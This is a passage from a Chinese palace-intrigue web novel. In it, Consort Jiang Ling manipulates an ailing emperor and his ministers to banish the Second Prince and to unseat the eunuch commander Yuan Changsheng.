江舲客气地颔首,指着客舍道:“请。” 郑相侧身避让,恭敬请江舲走在前面。孙相郭相动作快,已然侧身让在一旁,卫大学士板着脸,不情不愿让开了身。 江舲面上含笑,仿若不觉走在了前面。到了客舍,郑相恭请江舲在上首落座,她也不推辞,坦然地坐了下来。 内侍奉上茶,江舲留下文涓伺候,让其他人退了出去,道:“郑相有何疑问之处?” 郑相放下茶盏,一脸为难地道:“皇上好不容易养了一段时日,旧伤未愈,又添新伤,皆因二皇子而起。唉!” 他连着叹气,孙相郭相也跟着哀叹,卫大学士看着他们,黑着脸一言不发。 江舲只管听着,并不搭话。郑相叹了几声,终于含糊着将他的想法道了出来:“慧淑妃侍奉皇上左右,又亲眼看到二皇子的所作所为,皇上让臣等拿出章程,臣甚是为难。不知慧淑妃有何见解?” “我是后妃,后妃不得插手前朝之事。” 江舲说得干脆直接,卫大学士脸色好转了些,默默点了点头。 “不过,我倒有些与此事不甚相关的见解。” 江舲话锋一转,几人皆听得愣住。郑相忙欠身下去,道:“请慧淑妃不吝赐教。” “皇上如今龙体欠安,你们是大胤朝堂的重臣,该为皇上分忧解难。皇上既然让你们拿出章程,你们该好生考量,拿出几个章程出来,让皇上定夺。” 江舲言语温柔,却很坚定。郑相一动,她就猜到了七七八八。果然,郑相一开口,就想着推她出头,要是她的主意好,他们也能得到好。要是惹了元明帝生气,他们也能推脱到她身上。 既然想要走到前朝,身为上位者,首要一点则是能担责。江舲从未想过推却,郑相他们的做法,她却不能答应。 他们是大胤百官之首,好比是大胤的智囊团,该由他们拟出办法,江舲来拍板,做决定。郑相如今的做法,颠倒了彼此的身份,她成了他们的谋士。 “想好了法子,你们若是看得起我,可以先与我说一声,我替你们定夺一二。” 江舲毫不含糊,言简意赅表明了她的想法,顺道提点了几句:“二皇子是皇子,是皇上的亲生骨肉。二皇子年轻气盛,谁家少年不惹事,让人头疼。孝不可废,亦莫要不教而诛。” 几人神色复杂,卫大学士皱着眉头,神情若有所思。孙相眼前一亮,道:“慧淑妃所言极是,孝不可废,不教而诛,亦不可取。” 江舲点到即止,道:“几位先用膳吧,皇上那边离不得人。”她站起身朝外走去,几人纷纷起身相送。 回到卧房,她的饭菜摆在一旁,元明帝已在用膳。他没甚胃口,喝了几口汤便扔在了一旁。看到江舲进屋,他不悦道:“你去了何处,用膳也不见人影!” 内侍准备上前收拾,江舲忙拦着,“你们下去。” “你待作甚?”元明帝朝江舲瞪来,指着面前的矮案道:“汤汤水水弄得到处都是,快些收下去!” “皇上的饭菜都没动,多少要吃一些,才能养好身子。” 江舲好脾气地劝,指着蛋羹与菜蔬道:“皇上吃这些,对身子有益。我陪着皇上一道用。” 元明帝以前见江舲哄萧允瓒萧允琅用膳时,她也如这般。如今她关心自己,心里虽受用,却瞪着她道:“你当朕是三岁稚儿哄呢!” “人一生病,身子不舒服,可不如稚儿般,万事不能。” 江舲关切地道:“大胤可离不得皇上,皇上一天不在,朝臣就没了主意。皇上要快些养好身子才是。” 她一边说着,一边舀了蛋羹递了上前。元明帝垂眸看着银匙,咕哝抱怨着,将蛋羹吃了下去。 江舲喂了几口,元明帝心情大好,他神色柔和无比,接过银匙,道:“等下饭菜冷了,你快去吃吧,朕自己来。” 伏低做小伺候完元明帝用膳,漱口如厕。吃饱之后有了精神,元明帝舒舒服服躺着歇息,柔声道:“你也去歇一阵。” 往常江舲早就累了,她亢奋得睡不着,躺在外间榻上闭目养神。文涓轻手轻脚走进来,她睁眼坐起了身。 “娘娘,郑相他们在外面候着了。”文涓低声道。 江舲理了理衣衫走出去,几人抬手见礼,她颔首还礼,道:“皇上用了午膳,正在歇息,且再等一等。” 郑相笑道:“皇上好不容易歇着,臣等不敢打扰。娘娘,臣几人先前商议一下,二皇子到底还年轻,不如暂且搬到皇庄去,平时诵读经书,吾省自身。如此一来,二皇子能改过自新,不伤父子天合。娘娘以为如何?” 江舲心道郑相几人脑子转得果然快,虽然只有一个法子,比起先前让她出主意,已经有了巨大的进步。 萧允珏暴戾凶狠,将他弄出宫,搬到皇庄去圈进。让他生不如死,比起他一死了之,是最好的惩处办法。 萧允瑞尸骨未寒,元明帝虽厌恶萧允珏,眼下处置了他,事后难免会后悔,迁怒他人。 江舲思索之后,道:“这也不失一个好法子,你们且先回禀皇上。若皇上不答应,我会出言相劝。” 郑相得了江舲保证,微松了口气,道:“有劳慧淑妃,臣感激不尽。” 过了不到一盏茶的功夫,元明帝醒了过来,将几人宣了进屋。 江舲照样坐在一边,郑相将拟定的法子说了,元明帝耷拉着眼皮,阴阳怪气道:“你们就拿这些来糊弄朕?” 郑相神色一僵,下意识朝江舲看了眼。他赶忙起身赔罪,“臣不敢,皇上,臣等愚钝,请皇上恕罪。” 卫大学士语重心长道:“皇上,二皇子是皇上的亲生骨肉,皇上膝下如今只得三个儿子,皇上还请三思啊!” 子嗣不丰,本是元明帝的心病。平时他身子好的时候,隐忍不发,现在他如何能忍得住,当即脸一沉。 眼见他要发火,江舲忙出言劝道:“你们先出去吧,皇上累了,让皇上缓一缓。” 卫大学士一心为元明帝着想,急着要再劝。郑相三人已经施礼退下,他只能怅然地跟着离开。 “他这是何意,竟敢明嘲暗讽朕生不出来儿子,大胆!” 元明帝气得大骂,“老匹夫,朕平时给了他几分薄面,他竟爬到朕的头上来了!” “皇上息怒。”江舲一边劝说,一边倒了温茶递上去,“皇上的腿伤要紧,仔细扯着疼。” 元明帝朝伤腿看去,他猛地捶着床,伤心地道:“他们这是以为朕要驾崩了,都来欺负朕了!奴大欺主,他们这是要造反!” “皇上且吃两口,顺顺气。”江舲将茶水递到元明帝嘴边,他被迫吃了两口,靠在床头喘着粗气。 放下茶盏,江舲坐下来,细声细气地道:“皇上面上严厉,其实最心善不过,一向疼爱儿女。二皇子他们也清楚,否则,哪敢在皇上面前放肆。皇上虽是天子,却也是父亲。失去睿亲王,皇上痛不欲生。二皇子纵是该千刀万剐,阴阳两相隔,最终还是让皇上伤心难过。” 听到萧允瑞,元明帝心中大恸,眼眶泛红喊着道:“阿瑞,朕的阿瑞啊!阿珏那个孽畜,怎地就不能体会到朕的良苦用心!” 江舲继续劝道:“皇上莫要再因他人的错,折磨自己了。皇上替自己多想一些,少操心些儿女,儿孙自有儿孙福,任由他们去吧。将二皇子挪到皇庄去,眼不见心不烦,安心养伤。” 元明帝鼻子发酸,他握住江舲的手,哭道:“还是你了解朕心中的苦,受折磨之人,终究是朕。都怪朕仁慈,下不了狠心啊!” 江舲嘴里附和着劝说,心里冷笑怒骂,“阴晴不定的狗东西,你算哪门子的仁慈,小混账老混账,混账满门!” 哄了一阵,元明帝总算缓和下来,道:“罢了,朕且饶了他。将他挪出去严加看守,好生磨磨他的性子,他若改不好,朕就当没这个儿子!” 江舲道:“皇上歇着吧,我出去跑腿传个话。时辰不早,早些挪出去,皇上夜里也能歇得安生。” 元明帝一听,忙道:“你快去,这个孽畜,留在宫中一日,朕就要生气一日!” 江舲来到客舍,郑相几人正忐忑不安候着,她也不卖关子,道:“皇上已同意,将二皇子送到皇庄。皇上口谕,必严加看守,好生磨磨二皇子的性子。” 几人神色一松,卫大学士原本忧心忡忡,此时脸色也好转了些。 江舲顺势狐假虎威,顺势指挥起郑相:“事关重大,劳烦你亲自走一趟,将二皇子妥善安置好。” 郑相见江舲如她许诺那般,会在一旁劝说元明帝,还劝服了他,哪能不答应,赶忙道:“慧淑妃放心,臣这就去走一趟。” 江舲道:“薛沧看着二皇子,我让他带着禁卫,陪着一道前往。皇庄那边……” 她眉毛微扬,唤来张善交代了几句,“赵德妃定不放心,你去福庆宫,让赵德妃派身边得力的人前去伺候。等领了人,你跟着郑相薛沧他们一起前往。” 赵德妃若心疼萧允珏,就会派心腹前往。她身边得力之人被调走,省了其他无辜之人,被萧允珏折磨。 以后萧允珏出事,则成了赵德妃的错,怪不得他人。 张善暗自佩服不已,应声前去福宁宫。郑相随着薛沧前往关押萧允珏的屋子。卫大学士长叹一声,无言离开。孙相郭相赔笑告退, 太阳逐渐西斜。江舲远眺着天际,凝神沉思。 郑相被她指挥着去办差,回城之后,就该来向她回差。 一回生二回熟,习惯了听她的差遣安排,她出现在前朝,便不会是凭空而降,让朝臣们一起抵抗。 她长长吐出口浊气,不断提醒着自己,不急,且慢慢来。 接下来还有硬仗要打,袁长生与柳贤妃难以对付,赵德妃那边肯定也不会安生。 天色渐暗,琼华阁掌了灯,灯火通明。 吴适山与太医正在给元明帝施针,黄梁躬身走到江舲身边,低声道:“娘娘,袁长生在外面,与看守的禁卫起了争执。德妃娘娘来了好几次,想要求见皇上。不得宣召,禁卫拦着德妃娘娘,不准她进来。现在德妃娘娘也在殿外,哭闹着不肯走。” 江舲眉毛一挑,心道既然一并来了,正好省事! 第104章 施针之后, 元明帝腿上的疼痛虽减轻了些,酸酸涨涨格外不适。他见黄梁与江舲在一旁低声交谈,沉下脸不悦道:“发生何事了, 鬼鬼祟祟作甚!” 黄梁忙躬身赔罪,江舲将殿外发生的事说了, 元明帝听得眉头紧皱,她道:“皇上, 我出去瞧瞧。” 元明帝点点头, “你且去吧,让他们滚回去, 朕还没死呢,哭甚哭!” 江舲转身走出屋, 故意嘀咕抱怨道:“真是, 明知皇上身子不适,还吵得不可开交,让皇上担心。” 腿上扎着银针, 元明帝不得动弹, 听到江舲的话, 心中愈发郁闷, 躺在床头直烦躁地呻吟。 大殿前气氛紧张, 袁长生面无表情立在前面, 禁卫亲从官章庵不屑一顾朝地上淬了口,勾当皇宫的护卫与禁卫立在他们身后, 剑拔弩张对峙。 数月未见的赵德妃, 她瘦得形销骨立,若非谢嬷嬷搀扶着,似乎一阵风便能将她吹走。她双眸通红, 不时嘤嘤哭泣,抬手抹泪。 江舲缓缓走近了,众人的目光齐齐看来,纷纷施礼。她在殿门口站定,威严无比扫视一圈,视线在袁长生身上略微停顿,厉声道:“在垂拱殿前闹事,简直成何体统,这是要造反了不成!” 袁长生眸色沉下去,他抬手一礼,扬声道:“慧淑妃,奴婢领着勾当皇宫的差使,正在当差巡护皇宫。奴婢乃是皇上下旨亲封的都指挥使,只听皇上的旨意行事。如今被拦在殿外不得进入,奴婢死不足惜,只担心皇上安危!” 江舲暗中指责他想造反,被他反应极快,不软不硬挡了回来。说话间,他走向前,他身后的护卫,双手搭在腰间的刀上,紧随其后朝殿门逼近。 袁长生神色凌厉,怒喝道:“章庵,你究竟怀着何种居心,将皇上如何了!” 平时皇城司与勾当皇宫的护卫,虽互看不顺眼,彼此井水不犯河水,勉强能和睦相处。 章庵见袁长生开口就将他打成居心叵测,顿时不客气地骂道:“呸!袁长生,老子可不怕你个小白脸,你少含血喷人!皇城司护守卫皇上的安危,乃是皇上亲自下旨。怎地,你难道想要硬闯不成!” 他边说边拔出腰间的刀,其他禁卫随后纷纷拔刀而出,冰刃的寒光闪烁,打斗一触即发。 “大胆!” 江舲疾步上前,站在袁长生面前,似笑非笑道:“我竟不知,垂拱殿何时成了你们的天下,你们想要闯进去,便可以拔刀硬闯。好啊,今天我倒要见识见识!袁长生,你有本事,先杀了我,从我尸首上踏进去!” 袁长生眼神冰冷,死死盯着江舲,“先是睿亲王,再是二皇子被带进垂拱殿,生不见人死不见尸,连德妃娘娘都没能见最后一面。慧淑妃拦着奴婢,不让奴婢见到皇上。慧淑妃还要强行阻拦,此事确实蹊跷,奴婢不得不疑!” “呵呵,你凭着什么身份来怀疑?” 江舲扬了扬眉,她神情平静,“我不愿与你废话,由皇城司接手垂拱殿,乃是皇上的旨意。”她看向章庵,冷冷下令:“章庵,若有人硬闯,以谋逆论处,杀无赦!” 丁尙在先前江舲安排由皇城司接手垂拱殿守卫时,增调了精锐禁卫把守。与皇城司的兵将比起来,勾当皇宫护卫毕竟只巡逻后宫,皆为内侍,无论兵力兵器,远不如皇城司的禁卫。 章庵得江舲的旨意,响亮地应诺,轻蔑地暼着袁长生,朝身后挥手,杀气腾腾道:“弓弩手准备!” 弓弦拉开的声音在夜空中响起,冰冷的箭矢,带着铁腥气,让人胆战心惊。 袁长生神色阴沉得几欲滴水,如画一样的脸,此时苍白如纸。他紧抿着薄唇,手拽紧又放开,似乎在拼劲全力隐忍克制,身前绯红的衣袍,绷紧又松开。 半晌后,袁长生终是挥手,道:“走!” 护卫随着袁长生哗啦啦离去,江舲也不避讳,道:“章庵,你差人去找丁尙,让他增添兵力!” 袁长生的脚步微顿,眸中掩饰不住地焦急,后背一片冰凉。 江舲从一出现,便咄咄逼人,直接给他安上谋反的罪名。他虽然还击了回去,江舲仍然不为所动,更当着他的面增兵拱卫垂拱殿。 丁尙是元明帝的人,如今听令江舲的指挥。她对萧允珏与赵德妃,丝毫不放在心上,一切都成竹在握。 只凭着勾当皇宫的这点人手,根本不是皇城司的对手。他先前已经试探到江舲的态度,如今他只怕,他的退后无用,江舲会步步紧逼! 一直冷眼旁观的赵德妃,这时走了出来,道:“慧淑妃,我要见皇上。我是手无寸铁的弱妇人,慧淑妃可能让我进去?” 江舲笑起来,道:“赵德妃,你这句话说得,好像我成了传话守门的一样。赵德妃称自己手无寸铁,可是在表明自己,没那行刺皇上的本事?” 赵德妃凄凉一笑,道:“我儿莫名其妙被带走,生死不明。我情急之下,脑子馄饨不清,一时说错了话,慧淑妃就大人大量,莫要与我这个糊涂之人计较了。” “赵德妃,张善应该与你说清楚了,二皇子并非是莫名其妙被带走,他是犯了大错,被皇上责罚出宫。” 江舲打量着谢嬷嬷,不疾不徐地道:“我好心让你派人手去伺候二皇子,赵德妃好似没听。不过,赵德妃如何想,那时你的事,我就不多管了。赵德妃,你要见皇上,皇上不一定会见你。我再多劝一句,赵德妃还是别去见皇上为好。” 赵德妃道:“多谢慧淑妃的好心。只我们母子的遭遇,慧淑妃不曾体会,以为我是不自量力。我确是不自量力,阿珏是我怀胎十月,辛辛苦苦生了下来,就是拼着一死,也要见到皇上。” 江舲也不多拦,道:“行,你且等着吧。皇上见不见你,我就不知道了。” 赵德妃如今已经是强弩之末,不值得江舲理会。她还有更重要的事,再交代了章庵几句,转身回琼华阁。 吴适山与太医已给元明帝施完针回去值房,黄梁在廊檐下亲自熬煮药,院中飘散着一股子药味。 江舲进了卧房,元明帝睁眼朝她看来,眉心紧皱,道:“怎地这般久,究竟出何事了?” “皇上。”江舲一屁股坐在锦凳上,轻抚着胸口,一脸后怕地道:“皇上,先前差点打杀起来了!” “什么?”元明帝大惊,蹭地坐起身,他的动作太大,牵扯到伤腿,不由得惨叫出声。 果然,元明帝听到打杀,反应激烈。江舲心思转得飞快,元明帝只能同时应付一件事,好比他明明在问穿衣之事,只要她将事情引到用膳上去,他便会跟着到用膳这件事上来。 不过,要牵着他的鼻子走,也不那么容易,江舲已经有一套心得。首要是对他表示强烈的关心,强调他的重要与至高无上,帝王威严。其次是用他最在意的性命,江山作为引子。 “皇上小心。”江舲赶忙安慰,被元明帝急着打断:“你别管朕,快说啊,怎地会打杀起来?” “守卫垂拱殿的禁卫,与袁长生带着的护卫,刀都拔出来了。” 江舲睁大眼眸,害怕得声音都颤抖。用春秋笔法,半真半假地说着殿前发生之事。 “禁卫守卫垂拱殿,袁长生带着的护卫巡护后宫,彼此齐心协力守卫皇宫。袁长生称什么睿亲王出事,二皇子无缘无故不见了踪影,皇上有危险,要进来守卫皇上。瞧他这句话说得,二皇子去了何处,出了什么事,为何要告诉他?好似皇上御前的事情,都要如实向他回禀一样。” 萧允珏是政事堂相爷,卫大学士一起拿出章程,元明帝定夺之后做出了处置。听到袁长生居然敢质疑,脸色一变,生气地道:“朕御前的事,他区区阉人,他竟敢窥探,真是该死!” “是啊。”江舲附和了句,道:“御前的事,无论是谁,我半个字都不会透露,何况当着那么多人的面,我更是不会说了。袁长生就往前走,他带着的那些护卫,对他言听计从,跟着这么上前。” 她比划着,手放在腰间,“他们好像要拔刀了,我见喝止不住,就装着胆子上前,说有本事就先杀了我。我怕袁长生他们真敢闯进来,还佯装吓唬他们,他们敢闯的话,就是谋反,杀无赦。我腿现在都还软着,皇上,我当时真怕,要不是禁卫人手多,说不定就真一刀杀了我。” 元明帝铁青着脸,咬牙切齿骂道:“狗东西,他莫非想要造反了!” 江舲长长呼出口气,轻抚着胸口,惊魂未定道:“皇上,二皇子寝宫发生之事,乃是袁长生亲自来向皇上回禀,他怎会不知皇上为何生了二皇子的气,还故意散布谣言。皇上,袁长生他唉,我也说不清楚。皇上信任他,我脑子乱得很,不知该相信他的忠心,还是怀疑他的居心了。” “区区阉人,他哪来的本事造反!”元明帝嗤笑一声,道:“他就是仗着朕的宠信,狐假虎威罢了。” “要是他与人勾结呢?”江舲双手乱摇,像是惊吓过度,开始胡思乱想:“他巡护后宫,成日在后宫晃悠,以前还能在御前随意出入。他要与后宫勾结,太容易不过” 她说到这里,突然定住,瞪圆双眸定定望着元明帝。 “你在胡说甚?”元明帝被江舲直直的眼神看得发怵,懊恼地问道。 “柳贤妃!”江舲失声叫起来,猛地抓住元明帝的手,惊慌急迫地道:“定是柳贤妃!” 第105章 元明帝一头雾水, 上下打量着江舲,蹙眉问道:“你究竟在说甚?” “皇上,当时灯烛司出事, 方司灯吞金自尽。她已经晋升为女官,日子过得好好的, 如何就舍得死了。吞金死多难啊,我去看过方司灯的尸首” 江舲神情惊恐, 深深喘着气, 从方司灯说到高婕妤她们。 “大公主那日来见皇上,说到二公主, 真真是太及时了。福儿先跟着柳贤妃到了睿亲王的寝宫,随后伺候大公主到了琼华阁。元宵出事翌日夜里, 皇上召我前来, 我碰到了袁长生与柳贤妃在一处说话。” 江舲说得混乱而焦急,半真半假,将那些并无证据的猜测, 一股脑地塞到元明帝面前。 元明帝原就对柳氏心生怀疑, 让卫大学士去查柳氏。迄今为止, 卫大学士并无查到任何的蛛丝马迹, 帝王多疑, 再听完江舲的话, 元明帝心里惊魂不定,恼羞成怒骂道:“他们想作甚, 他么欲作甚, 阉狗贱妇,他们勾结在一起,他们想作甚!” 言多必失, 江舲不再多言,何况她只是趁机给元明帝上眼药,生硬地把袁长生与柳贤妃凑到一起。至于柳贤妃真实的目的,她与袁长生之间的关系,一切皆是推责,并无实据。 柳贤妃品级虽高,到底是后妃,元明帝处置她容易。柳氏是士族官身,元明帝即便是帝王,贬谪废黜罢官,亦要寻个能糊弄过去的借口。比如造反谋逆,诸如此类抄家流放的大罪,必须慎之又慎。 “皇上。”江舲按住了激动的元明帝,紧张四顾,小声道:“皇上,仔细隔墙有耳。” 元明帝跟着江舲到处张望,他气得呼吸急促,却不由自主跟着压低了声音,咬牙切齿道:“朕要杀了他们!” “皇上,不如派人偷偷去监视。”江舲小心翼翼建议道。 元明帝一愣,不禁拧眉思索起来,道:“仔细打草惊蛇,朕莫非还怕他们不成!擒贼先擒王,把袁长生叫来,先把他给捆了!” 话虽如此,江舲何曾看不出来,元明帝也不敢轻举妄动。就算柳氏在甘州真造了反,甘州离京城路途遥远,还是皇宫的护卫们心怀不轨更让他忌惮。 江舲心思微转,柳贤妃出不了宫,只能依赖袁长生行动。将他先控制住,群龙无首,他的心腹们也不敢轻举妄动。 “我这就去。”江舲当即起身朝外走去。 这时,黄梁急匆匆走进屋,道:“皇上,娘娘,袁长生独自到了殿外,他卸了刀剑,说是要求见皇上,当面请罪。” 元明帝怔住,下意识朝江舲看来,“他来请罪?” 江舲大感不妙,急着提醒道:“皇上,小心有诈!” 黄梁不知就里,他察觉到事情严重,谨慎地一语不发。顿了顿,他似乎想到什么,忙补充道:“皇上,娘娘,赵德妃还在殿外候着,她身子弱,先前已经晕了一次。” 元明帝烦躁地道:“让她滚回去,要是她不肯走,一并送去皇庄,陪她那不孝子!” 黄梁忙应是,元明帝又道:“让章庵他们将袁长生押进来!” 江舲懊恼得几欲呕血,心道袁长生反应还真快,尤其深得元明帝信任。虽这份信任,实为元明帝对袁长生的轻视。 帝王威严九五之尊,袁长生身为阉人,只能俯首摇尾乞怜,岂敢以下犯上。 袁长生前来请罪,元明帝虽让章庵他们来守卫,根本上已经动摇了。 很快,章庵领着禁卫,围着袁长生进了屋。禁卫们警惕地隔开袁长生,将元明帝团团护卫住, 袁长生并不上前,远远就跪了下来,俯身在地,恭敬地重重叩首,“奴婢给皇上请安。” 江舲愣愣看去,袁长生披散着头发,身上只着雪白里衣。他抬起头,惨白的脸,额头通红一片。他神情萧瑟,眸中噙着泪,犹如风雨摧残之后的花,格外楚楚可怜。 元明帝眸色阴沉,死死盯着袁长生,呵呵冷笑道:“袁长生,你胆子大了啊,带着刀在殿外闹事,要不是禁卫拦着,你就该闯进来,将朕一刀砍了。” “奴婢先前以为皇上有危险,着实急得不行,脑子只有一个念头,准备闯进来营救皇上。慧淑妃拦着奴婢,说是奴婢要造反。若非皇上,奴婢估计早就死了。皇上的大恩大德,奴婢莫敢忘。何况奴婢一个阉人,无父无母无后。奴婢只是勾当皇宫的都指挥使,奴婢造反,阉人得天下,岂不是滑天下之大稽。” 袁长生舒出口气,神色如释重负,动情地道:“奴婢见到皇上安然无恙,便死而无憾了。” 元明帝神色变得复杂起来,他哼了声,语气不由自主缓和下来,“垂拱殿前岂容得刀剑打斗,你侍奉朕多年,宫中的规矩,难道你都忘到了脑后!” 袁长生俯身叩首,道:“奴婢有罪,不敢狡辩。奴婢辜负了皇上的圣恩,不敢再领都指挥使的差使。奴婢请皇上责罚。” 好一招金蝉脱壳! 江舲转头看向元明帝,心沉了下去。他脸色蜡黄,眼皮松弛,眼圈发黑。神情浮躁不安,又透着洋洋自得。 即使疑神疑鬼,还是愿意相信袁长生。近来经历太多,已经不起任何的打击背叛。 果然,江舲只听他沉声道:“差使交出来,照着规矩去领二十大板,滚回去反省!” 袁长生恭敬应是,磕头谢恩,“奴婢告退,还请皇上万万要保重龙体。” 章庵见袁长生只被打了二十大板,指不定还能复起,只能暗中骂了一气,却也无甚办法,领着禁卫退下。 江舲心里焦急,道:“皇上” “袁长生说得是,他一个没卵子的阉人,哪能造反。” 元明帝抬手制止住了江舲,掩饰不住地自得,“罢了,你时常胡思乱想,所为到底是担心朕。你莫要急,朕还是会继续查柳氏,柳贤妃区区妇孺,你有朕护着,又有何惧。” 江舲忍不住暗中破口大骂,她有自己的心思,后宫中的嫔妃皆一样,他谁都没看出来,偏生自傲自信,简直是蠢笨如猪,瞎了狗眼! 袁长生离开得不久,江舲不知他来见元明帝,可有得到柳贤妃的指点。 如今他们之间,已经彻底撕破了脸皮,不是你死,就是我活! 袁长生挨二十大板,交出都指挥使的差使,轻松一举脱离。 江舲心中冷笑,既然他交出了差使,以后休想再掌权! 无权的他,便真成了区区阉人。那些以往有过节的人,还不得扑上来将他撕碎! 江舲很快稳住神,道:“皇上,想到先前的场景,我还是感到后怕。皇上,如今勾当皇城守卫没了人领头,皇上打算派谁去领勾当皇宫的差使?皇上一定要差忠厚信得过之人啊!皇上,不如,让黄大伴接了差使吧。” “朕用习惯了黄梁,哪能腾得开手。”元明帝瞥了眼江舲,道:“瞧你,这就吓着了。唉,罢了,终究是妇孺,胆小如鼠。朕就依了你,只不能派黄梁去,暂让张善去领一段时日。” 张善如今在黄梁手下当差,御前的内侍自是风光,品级却远远比不过都指挥使。且勾当皇宫拥有实权,权势动人心,他尝到甜头之后,袁长生欲将重任上,便没那么容易了。 新官上任三把火,张善肯定会用自己的人,袁长生那些心腹,会很快被挤走。 张善脑子机灵,要做稳都指挥使的位置,必须有靠山。 江舲来到垂拱殿之后,两人变得熟稔起来。除元明帝当得了他的靠山,余下来之人,江舲是不二人选。 元明帝道:“时辰不早,传膳吧。阿瓒阿琅呢,这两个臭小子,玩得连晚膳都不记得用了!” 袁长生柳贤妃肯定暂时不敢有动作,江舲先将心里的沉重压下,吩咐黄梁传膳,“让阿瓒阿琅别玩了,赶紧回屋净手脸。” 翌日午后,张善与郑相从皇庄回到宫中,前来向元明帝回差。 两人进屋回了安置萧允珏的情形,郑相道:“二皇子哭闹不休,吵着要回宫。所幸德妃娘娘将身边伺候多年的菊香派了去,菊香自小看着二皇子长大,二皇子有熟人在左右,已经安定了下来。薛沧留了皇城司的兵丁严加看守,皇上且放心。” 元明帝冷声道:“亏他还有脸哭闹!朕已经对他仁至义尽,他要是改不了性子,朕也就当没这个儿子!” 郑相叹了口气,道:“皇上息怒,保重龙体为上。” 元明帝不欲多说,摆了摆手道:“你上了年岁,来回奔波也累了。先回去歇着吧。张善,你且留下。” 郑相忙谢恩,抬手施礼告退。江舲在偏屋看着萧允瓒萧允琅写大字,在屋外守着的文涓进来,小声道:“娘娘,郑相出来了。” 江舲赶忙走出屋,郑相看到她,停下脚步,抬手遥遥施礼。江舲颔首还礼,郑相恭谨地立着,她暗暗松口气,走上前道:“郑相辛苦了。” “臣谢娘娘关心。”郑相抬手施礼下去,他叹了口气,小声道:“不瞒娘娘,赶路倒好,臣身子骨硬朗,还受得住。只二皇子闹腾得厉害,德妃娘娘身边的菊香劝说,被他又打又骂,最后实在无法,堵住嘴捆在了床上。他渴了累了,没力气吵闹,总算安生了。” 江舲心道被袁长生逃脱了去,郑相这边总算有所收获。他特意向自己回差,前朝那边,已成了七七八八。 “赵德妃舍不得二皇子,前来向皇上哭诉,皇上身子不好,哪有力气见她,说是她若想念二皇子,就去皇庄陪二皇子。最后,赵德妃回了福宁宫。唉,二皇子是赵德妃所生,他的性子,连赵德妃都发怵。” 江舲轻轻摇头,无奈地道:“二皇子还年轻,懂事了就好。” 郑相神情微愣,道:“还是慧淑妃教导有方,三皇子四皇子年纪虽幼,两人聪明伶俐,懂事知礼。唉,娘娘要谨慎替三皇子四皇子选好伴读,二皇子的伴读赵舜,领着二皇子成日出去玩乐,带坏了二皇子,赵侍郎将赵舜打了个半死,也无济于事。赵侍郎不知从何处得到消息,赶来臣府上要见臣,臣府中先前派人在城门口守着,说是赵侍郎不肯走,如今还在臣府中等着,臣要赶回去,打发了赵侍郎。” 江舲心中一动,肃然道:“赵侍郎消息还真是灵通。此事毕竟事关皇家脸面,不便对外声张。郑相可要仔细问好了,究竟是谁给赵侍郎传了消息。” 郑相忙道:“臣也是这般想,皇上身子不好,臣先前都没敢与皇上说,打算待查明之后,再向皇上回禀。” 江舲点点头,道:“郑相赶紧回府去,查个水落石出,定要将那散布消息之人抓出来。” 郑相道是,抬手告退。江舲正在凝眸思索,张善一脸绷不住地喜悦,从卧房走了出来。 “娘娘。”张善见江舲立在廊檐下,喜滋滋上前,道:“袁长生犯了差错,皇上差奴婢领了都指挥使的差使,以后不能在御前听差,奴婢这段时日得娘娘照顾,奴婢舍不得娘娘。” 说话间,张善撩起衣袍就要下跪,江舲笑着抬手,道:“你快快起来,我还要跟你道声喜呢。” 张善坚持跪了下去,响亮地磕了个头后才起身,咧嘴笑道:“皇上说是娘娘的主意,奴婢得了差使,都是娘娘的恩情。娘娘的大恩,奴婢没齿难忘。以后,奴婢定会好好孝顺娘娘。” 江舲笑道:“皇上将差使交给你,你莫要辜负皇上的信任才是。勾当皇宫的差使不易,你快些去吧,别耽搁了。要是遇到麻烦,你来寻皇上回话,若我有帮得上忙之处,你也可与我说一声。” 张善大喜,感激地道:“多谢娘娘,多谢娘娘,有娘娘这句话,奴婢就不怕了。娘娘保重,奴婢先告辞。” 当日夜里,张善领着护卫巡逻时,便不小心脚滑,摔得鼻青脸肿。 张善顶着青紫的脸,羞于去见元明帝,遮遮掩掩前来寻江舲。 江舲打量着张善,他的鼻子歪到一旁,嘴角破裂出血,一看就摔得不轻。 天气晴好,宫中路途平坦,夜里巡逻有灯笼,要摔成这般不易,定是有人使坏。 除去袁长生柳贤妃,江舲不做他想。本以为他们会安定一段时日,没曾想,竟然按耐不住,这般快就动了手。 江舲神色凝重,冷声道:“你将事情的前后经过,仔仔细细道来!” 第106章 袁长生掌管勾当巡护皇宫多年, 张善深知他凭空而降,免不了遭受到刁难。他万分小心到了值舍,原来袁长生的属下皆在。他不禁摆好架势, 让人拿来名册,随意点了名, 安排了巡护之人。 令张善意外的是,他们无一人反对, 皆恭恭敬敬听从了安排。张善能在御前当差, 从不敢自大,以为是他的权势, 让底下的人服服帖帖。 一切太过顺利,张善愈发谨慎。他对巡护之事并不熟悉, 为了稳妥起见, 如往常袁长生那般,亲自领着护卫巡护。 张善进宫多年,对皇宫的路线熟悉无比。后宫入夜后, 除去他们走在夹道的脚步声, 四下安宁静谧。 行经过一条条夹道, 诸事如常。初夏的夜风轻拂, 吹来浓郁的栀子花香, 张善提着的心, 不由得渐渐松弛下来。 突然,从夹道墙上闪电般窜出一道黑影, 一声如婴儿般的惨叫声接着响起。黑影落在身前, 张善猝不及防,惊得蹬蹬后退,脚下不知踩到什么, 尚未反应过来,往前扑了出去。 “磕在了刀柄上。”张善声音嗡嗡,哭丧着脸指向鼻子,说话扯到伤处,痛得呲牙裂嘴。 “奴婢看清楚了,是一只野猫。”张善缓过气,继续说道:“宫中时常有野猫出入,野猫跑得快,一溜烟就不见了。无人推奴婢,奴婢也不曾与人相撞,脚下踩到了一颗石子,路上有石子,也并不足为奇。” 江舲冷笑一声,道:“野猫恰好从墙上跳下来,你恰好踩到石子,恰好摔成了这样。即便查,也查不出个所以然,你就是倒霉摔了一跤,简直摔得天衣无缝。” “不知为何,奴婢半点都不信,坚信有人故意使坏,给奴婢一个下马威。从奴婢到值舍时,奴婢就觉得不安了。” 张善一脸晦气,懊恼地捶着手心,“奴婢笨,寻不到破绽。就算心知被人陷害,也无计可施。” 江舲皱起眉,问道:“袁长生如何了?” 张善道:“袁长生结结实实矮了二十板,打得后背血肉模糊,许多人都瞧见了,躺在直舍养伤。” 江舲并不感到意外,既然袁长生想要金蝉脱壳,他必须拿出几分真来,做给元明帝看。 张善神色疑惑,不解道:“娘娘,奴婢不明白的是,既然不满奴婢,让奴婢摔一跤,只为给奴婢一个下马威。差使到底仍在奴婢手上。幸好奴婢大度,要是奴婢小心眼报复,岂不是得不偿失?” 